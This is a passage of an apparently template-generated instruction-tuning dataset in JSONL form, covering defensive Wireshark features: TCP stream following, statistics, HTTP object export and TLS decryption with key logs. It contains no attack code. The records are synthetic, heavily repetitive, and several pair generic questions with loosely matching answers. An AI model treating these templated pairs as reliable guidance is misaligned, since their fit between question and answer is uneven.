Steps:\n1. Select any packet in a TCP conversation\n2. Right-click > Follow > TCP Stream\n3. View reconstructed data\n4. Filter shows: tcp.stream eq N\n\n# View options:\n- ASCII for text protocols\n- Raw for binary\n- UTF-8 for web content\n```\n\nTips:\n- Use for HTTP, SMTP, FTP analysis\n- Export data for offline analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039562Z", "updated_at": "2025-12-18T00:11:32.039562Z"} +{"id": "trtp-c1c8d7259afc", "instruction": "What's the process for analyzing data with Wireshark?", "output": "Workflow for Follow TCP Stream:\n\n1. Understand the context: Follow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.\n\n2. Apply the tool:\n```\n# Steps:\n1. Select any packet in a TCP conversation\n2. Right-click > Follow > TCP Stream\n3. View reconstructed data\n4. Filter shows: tcp.stream eq N\n\n# View options:\n- ASCII for text protocols\n- Raw for binary\n- UTF-8 for web content\n```\n\n3. Common scenarios: Analyze HTTP requests, Extract transferred data, View protocol exchanges\n\n4. Best practices:\n - Use for HTTP, SMTP, FTP analysis\n - Export data for offline analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039577Z", "updated_at": "2025-12-18T00:11:32.039577Z"} +{"id": "trtp-e57c97334442", "instruction": "When should I use Wireshark versus other similar tools?", "output": "Advantages of Wireshark:\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.\n\nBest suited for:\n- Analyze HTTP requests\n- Extract transferred data\n- View protocol exchanges\n- Find exfiltrated data\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039605Z", "updated_at": "2025-12-18T00:11:32.039605Z"} +{"id": "trtp-32114578589b", "instruction": "How do I use Wireshark alongside other tools in my toolkit?", "output": "Integration points for Wireshark:\n\nFollow TCP Stream reconstructs the application-layer conversation from TCP packets. Shows complete request/response data in readable format.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-follow-tcp-stream", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039395Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039624Z", "updated_at": "2025-12-18T00:11:32.039624Z"} +{"id": "trtp-b40d7bce5971", "instruction": "What do I need to know about Wireshark?", "output": "Wireshark Statistics\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.\n\nPlatform: cross-platform\n\nCommon uses:\n- Capture overview\n- Find active hosts\n- Identify top talkers\n- Analyze traffic patterns", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039915Z", "updated_at": "2025-12-18T00:11:32.039915Z"} +{"id": "trtp-1ba1c581e5f7", "instruction": "What is the syntax for Wireshark?", "output": "Syntax for Wireshark:\n\nStatistics menu\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039931Z", "updated_at": "2025-12-18T00:11:32.039931Z"} +{"id": "trtp-3582dac64fb4", "instruction": "Demonstrate Wireshark Statistics with an example.", "output": "Example of Wireshark Statistics:\n\n```\n# Useful statistics:\nStatistics > Protocol Hierarchy # Protocol breakdown\nStatistics > Conversations # IP/TCP/UDP conversations\nStatistics > Endpoints # Active endpoints\nStatistics > IO Graph # Traffic over time\nStatistics > HTTP > Requests # HTTP request summary\n```\n\nInterpretation: Statistics show capture summary - good starting point for analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039942Z", "updated_at": "2025-12-18T00:11:32.039942Z"} +{"id": "trtp-5dd251009b10", "instruction": "Show me an example of Wireshark in action.", "output": "Here is a practical example of Wireshark:\n\n```\n# Useful statistics:\nStatistics > Protocol Hierarchy # Protocol breakdown\nStatistics > Conversations # IP/TCP/UDP conversations\nStatistics > Endpoints # Active endpoints\nStatistics > IO Graph # Traffic over time\nStatistics > HTTP > Requests # HTTP request summary\n```\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039959Z", "updated_at": "2025-12-18T00:11:32.039959Z"} +{"id": "trtp-8bb9293d1a9e", "instruction": "In what scenarios is Wireshark useful?", "output": "Use cases for Wireshark:\n\n- Capture overview\n- Find active hosts\n- Identify top talkers\n- Analyze traffic patterns\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039971Z", "updated_at": "2025-12-18T00:11:32.039971Z"} +{"id": "trtp-f9d58e89a31b", "instruction": "What do the results from Wireshark mean?", "output": "Interpreting Wireshark output:\n\nStatistics show capture summary - good starting point for analysis\n\nExample output:\n```\n# Useful statistics:\nStatistics > Protocol Hierarchy # Protocol breakdown\nStatistics > Conversations # IP/TCP/UDP conversations\nStatistics > Endpoints # Active endpoints\nStatistics > IO Graph # Traffic over time\nStatistics > HTTP > Requests # HTTP request summary\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.039982Z", "updated_at": "2025-12-18T00:11:32.039982Z"} +{"id": "trtp-c8ba07f5e382", "instruction": "What are some tips for using Wireshark?", "output": "Tips for using Wireshark:\n\n- Start with Protocol Hierarchy\n- Conversations shows who talked to whom\n- IO Graph reveals traffic patterns\n\nUseful for: Capture overview, Find active hosts, Identify top talkers", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040005Z", "updated_at": "2025-12-18T00:11:32.040005Z"} +{"id": "trtp-2b7447ee102c", "instruction": "How do I use Wireshark for threat detection?", "output": "Using Wireshark for threat detection:\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.\n\nExample:\n```\n# Useful statistics:\nStatistics > Protocol Hierarchy # Protocol breakdown\nStatistics > Conversations # IP/TCP/UDP conversations\nStatistics > Endpoints # Active endpoints\nStatistics > IO Graph # Traffic over time\nStatistics > HTTP > Requests # HTTP request summary\n```\n\nTips:\n- Start with Protocol Hierarchy\n- Conversations shows who talked to whom", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040019Z", "updated_at": "2025-12-18T00:11:32.040019Z"} +{"id": "trtp-e38aad7464bc", "instruction": "What is the typical workflow for using Wireshark?", "output": "Workflow for Wireshark Statistics:\n\n1. Understand the context: Wireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.\n\n2. Apply the tool:\n```\n# Useful statistics:\nStatistics > Protocol Hierarchy # Protocol breakdown\nStatistics > Conversations # IP/TCP/UDP conversations\nStatistics > Endpoints # Active endpoints\nStatistics > IO Graph # Traffic over time\nStatistics > HTTP > Requests # HTTP request summary\n```\n\n3. Common scenarios: Capture overview, Find active hosts, Identify top talkers\n\n4. Best practices:\n - Start with Protocol Hierarchy\n - Conversations shows who talked to whom", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040055Z", "updated_at": "2025-12-18T00:11:32.040055Z"} +{"id": "trtp-ae2be64878f9", "instruction": "What makes Wireshark useful for this task?", "output": "Advantages of Wireshark:\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.\n\nBest suited for:\n- Capture overview\n- Find active hosts\n- Identify top talkers\n- Analyze traffic patterns\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040078Z", "updated_at": "2025-12-18T00:11:32.040078Z"} +{"id": "trtp-84028935a1c8", "instruction": "Can Wireshark be combined with other analysis methods?", "output": "Integration points for Wireshark:\n\nWireshark Statistics menu provides summary information including protocol hierarchy, conversations, endpoints, IO graphs, and more.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-wireshark-statistics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.039883Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040103Z", "updated_at": "2025-12-18T00:11:32.040103Z"} +{"id": "trtp-4841e1f5bd88", "instruction": "How do security analysts use Wireshark?", "output": "Export HTTP Objects\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.\n\nPlatform: cross-platform\n\nCommon uses:\n- Extract malware downloads\n- Recover transferred files\n- Find exfiltrated documents\n- Analyze web traffic", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040341Z", "updated_at": "2025-12-18T00:11:32.040341Z"} +{"id": "trtp-e868036f56a8", "instruction": "Show me the basic syntax for Wireshark.", "output": "Syntax for Wireshark:\n\nFile > Export Objects > HTTP\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040354Z", "updated_at": "2025-12-18T00:11:32.040354Z"} +{"id": "trtp-af73fdf70161", "instruction": "How would I use Wireshark for Extract malware downloads?", "output": "Example of Export HTTP Objects:\n\n```\n# Steps:\n1. File > Export Objects > HTTP\n2. View list of transferred files\n3. Select files to save\n4. Click 'Save' or 'Save All'\n\n# Also available for:\n- SMB (File > Export Objects > SMB)\n- DICOM (File > Export Objects > DICOM)\n- TFTP, FTP-DATA\n```\n\nInterpretation: List shows filename, hostname, content type, size", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040366Z", "updated_at": "2025-12-18T00:11:32.040366Z"} +{"id": "trtp-f82dea9ab04d", "instruction": "Show me an example of Wireshark in action.", "output": "Here is a practical example of Wireshark:\n\n```\n# Steps:\n1. File > Export Objects > HTTP\n2. View list of transferred files\n3. Select files to save\n4. Click 'Save' or 'Save All'\n\n# Also available for:\n- SMB (File > Export Objects > SMB)\n- DICOM (File > Export Objects > DICOM)\n- TFTP, FTP-DATA\n```\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040377Z", "updated_at": "2025-12-18T00:11:32.040377Z"} +{"id": "trtp-f4c70213e768", "instruction": "In what scenarios is Wireshark useful?", "output": "Use cases for Wireshark:\n\n- Extract malware downloads\n- Recover transferred files\n- Find exfiltrated documents\n- Analyze web traffic\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040390Z", "updated_at": "2025-12-18T00:11:32.040390Z"} +{"id": "trtp-3ee045ff761e", "instruction": "How do I read Wireshark output?", "output": "Interpreting Wireshark output:\n\nList shows filename, hostname, content type, size\n\nExample output:\n```\n# Steps:\n1. File > Export Objects > HTTP\n2. View list of transferred files\n3. Select files to save\n4. Click 'Save' or 'Save All'\n\n# Also available for:\n- SMB (File > Export Objects > SMB)\n- DICOM (File > Export Objects > DICOM)\n- TFTP, FTP-DATA\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040401Z", "updated_at": "2025-12-18T00:11:32.040401Z"} +{"id": "trtp-df11aa73d827", "instruction": "What are some tips for using Wireshark?", "output": "Tips for using Wireshark:\n\n- Check for executable downloads\n- Works with compressed content\n- Scan extracted files with AV\n\nUseful for: Extract malware downloads, Recover transferred files, Find exfiltrated documents", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040413Z", "updated_at": "2025-12-18T00:11:32.040413Z"} +{"id": "trtp-570d4546a607", "instruction": "How do I use Wireshark for threat detection?", "output": "Using Wireshark for threat detection:\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.\n\nExample:\n```\n# Steps:\n1. File > Export Objects > HTTP\n2. View list of transferred files\n3. Select files to save\n4. Click 'Save' or 'Save All'\n\n# Also available for:\n- SMB (File > Export Objects > SMB)\n- DICOM (File > Export Objects > DICOM)\n- TFTP, FTP-DATA\n```\n\nTips:\n- Check for executable downloads\n- Works with compressed content", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040427Z", "updated_at": "2025-12-18T00:11:32.040427Z"} +{"id": "trtp-66f84c63d22f", "instruction": "How do I incorporate Wireshark into my security workflow?", "output": "Workflow for Export HTTP Objects:\n\n1. Understand the context: Export HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.\n\n2. Apply the tool:\n```\n# Steps:\n1. File > Export Objects > HTTP\n2. View list of transferred files\n3. Select files to save\n4. Click 'Save' or 'Save All'\n\n# Also available for:\n- SMB (File > Export Objects > SMB)\n- DICOM (File > Export Objects > DICOM)\n- TFTP, FTP-DATA\n```\n\n3. Common scenarios: Extract malware downloads, Recover transferred files, Find exfiltrated documents\n\n4. Best practices:\n - Check for executable downloads\n - Works with compressed content", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040441Z", "updated_at": "2025-12-18T00:11:32.040441Z"} +{"id": "trtp-7abdf9ea8149", "instruction": "What makes Wireshark useful for this task?", "output": "Advantages of Wireshark:\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.\n\nBest suited for:\n- Extract malware downloads\n- Recover transferred files\n- Find exfiltrated documents\n- Analyze web traffic\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040455Z", "updated_at": "2025-12-18T00:11:32.040455Z"} +{"id": "trtp-0be348d5780a", "instruction": "How do I use Wireshark alongside other tools in my toolkit?", "output": "Integration points for Wireshark:\n\nExport HTTP Objects extracts files transferred over HTTP from a capture. Reconstructs downloaded files, images, scripts, and other web content.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-export-http-objects", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040320Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040469Z", "updated_at": "2025-12-18T00:11:32.040469Z"} +{"id": "trtp-7e606bf1e112", "instruction": "What is Wireshark and how is it used in security?", "output": "TLS Decryption\n\nWireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).\n\nPlatform: cross-platform\n\nCommon uses:\n- Analyze encrypted C2\n- Debug TLS issues\n- Investigate suspicious traffic\n- Malware analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040683Z", "updated_at": "2025-12-18T00:11:32.040683Z"} +{"id": "trtp-3ace173873a4", "instruction": "How do I use Wireshark?", "output": "Syntax for Wireshark:\n\nEdit > Preferences > Protocols > TLS\n\nWireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040697Z", "updated_at": "2025-12-18T00:11:32.040697Z"} +{"id": "trtp-eb284b4db495", "instruction": "Provide an example of using Wireshark.", "output": "Example of TLS Decryption:\n\n```\n# Using SSLKEYLOGFILE (modern method):\n1. Set environment variable before browsing:\n export SSLKEYLOGFILE=/path/to/keys.log\n2. In Wireshark: Edit > Preferences > Protocols > TLS\n3. Set 'Pre-Master-Secret log filename'\n4. Reload capture\n\n# Private key (RSA only):\nEdit > Preferences > Protocols > TLS > RSA keys list\n```\n\nInterpretation: Decrypted HTTP/2, HTTP/1.1, or other application data visible", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040709Z", "updated_at": "2025-12-18T00:11:32.040709Z"} +{"id": "trtp-125f2975001f", "instruction": "Give me a practical example of Wireshark.", "output": "Here is a practical example of Wireshark:\n\n```\n# Using SSLKEYLOGFILE (modern method):\n1. Set environment variable before browsing:\n export SSLKEYLOGFILE=/path/to/keys.log\n2. In Wireshark: Edit > Preferences > Protocols > TLS\n3. Set 'Pre-Master-Secret log filename'\n4. Reload capture\n\n# Private key (RSA only):\nEdit > Preferences > Protocols > TLS > RSA keys list\n```\n\nWireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040719Z", "updated_at": "2025-12-18T00:11:32.040719Z"} +{"id": "trtp-d563d09253ca", "instruction": "What security tasks can I accomplish with Wireshark?", "output": "Use cases for Wireshark:\n\n- Analyze encrypted C2\n- Debug TLS issues\n- Investigate suspicious traffic\n- Malware analysis\n\nWireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040731Z", "updated_at": "2025-12-18T00:11:32.040731Z"} +{"id": "trtp-eb53aa9b10fb", "instruction": "What are some tips for using Wireshark?", "output": "Tips for using Wireshark:\n\n- SSLKEYLOGFILE works with Chrome/Firefox\n- Private keys don't work with DHE/ECDHE\n- Document key handling for legal\n\nUseful for: Analyze encrypted C2, Debug TLS issues, Investigate suspicious traffic", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040746Z", "updated_at": "2025-12-18T00:11:32.040746Z"} +{"id": "trtp-699a25d4b00e", "instruction": "How can Wireshark help identify malicious activity?", "output": "Using Wireshark for threat detection:\n\nWireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).\n\nExample:\n```\n# Using SSLKEYLOGFILE (modern method):\n1. Set environment variable before browsing:\n export SSLKEYLOGFILE=/path/to/keys.log\n2. In Wireshark: Edit > Preferences > Protocols > TLS\n3. Set 'Pre-Master-Secret log filename'\n4. Reload capture\n\n# Private key (RSA only):\nEdit > Preferences > Protocols > TLS > RSA keys list\n```\n\nTips:\n- SSLKEYLOGFILE works with Chrome/Firefox\n- Private keys don't work with DHE/ECDHE", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040760Z", "updated_at": "2025-12-18T00:11:32.040760Z"} +{"id": "trtp-9f5c2f850c2a", "instruction": "How do I incorporate Wireshark into my security workflow?", "output": "Workflow for TLS Decryption:\n\n1. Understand the context: Wireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).\n\n2. Apply the tool:\n```\n# Using SSLKEYLOGFILE (modern method):\n1. Set environment variable before browsing:\n export SSLKEYLOGFILE=/path/to/keys.log\n2. In Wireshark: Edit > Preferences > Protocols > TLS\n3. Set 'Pre-Master-Secret log filename'\n4. Reload capture\n\n# Private key (RSA only):\nEdit > Preferences > Protocols > TLS > RSA keys list\n```\n\n3. Common scenarios: Analyze encrypted C2, Debug TLS issues, Investigate suspicious traffic\n\n4. Best practices:\n - SSLKEYLOGFILE works with Chrome/Firefox\n - Private keys don't work with DHE/ECDHE", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040775Z", "updated_at": "2025-12-18T00:11:32.040775Z"} +{"id": "trtp-7ee62f52daff", "instruction": "What makes Wireshark useful for this task?", "output": "Advantages of Wireshark:\n\nWireshark can decrypt TLS traffic if provided with the pre-master secret log (SSLKEYLOGFILE) or RSA private key (for RSA key exchange only).\n\nBest suited for:\n- Analyze encrypted C2\n- Debug TLS issues\n- Investigate suspicious traffic\n- Malware analysis\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-wireshark-tls-decryption", "license": "original", "retrieved_at": "2025-12-18T00:11:32.040661Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.040788Z", "updated_at": "2025-12-18T00:11:32.040788Z"} +{"id": "trtp-dfb4193b6456", "instruction": "How do I use Wireshark alongside other tools in my toolkit?", "output": "Integration points for Wireshark:\n\nWireshark can decrypt 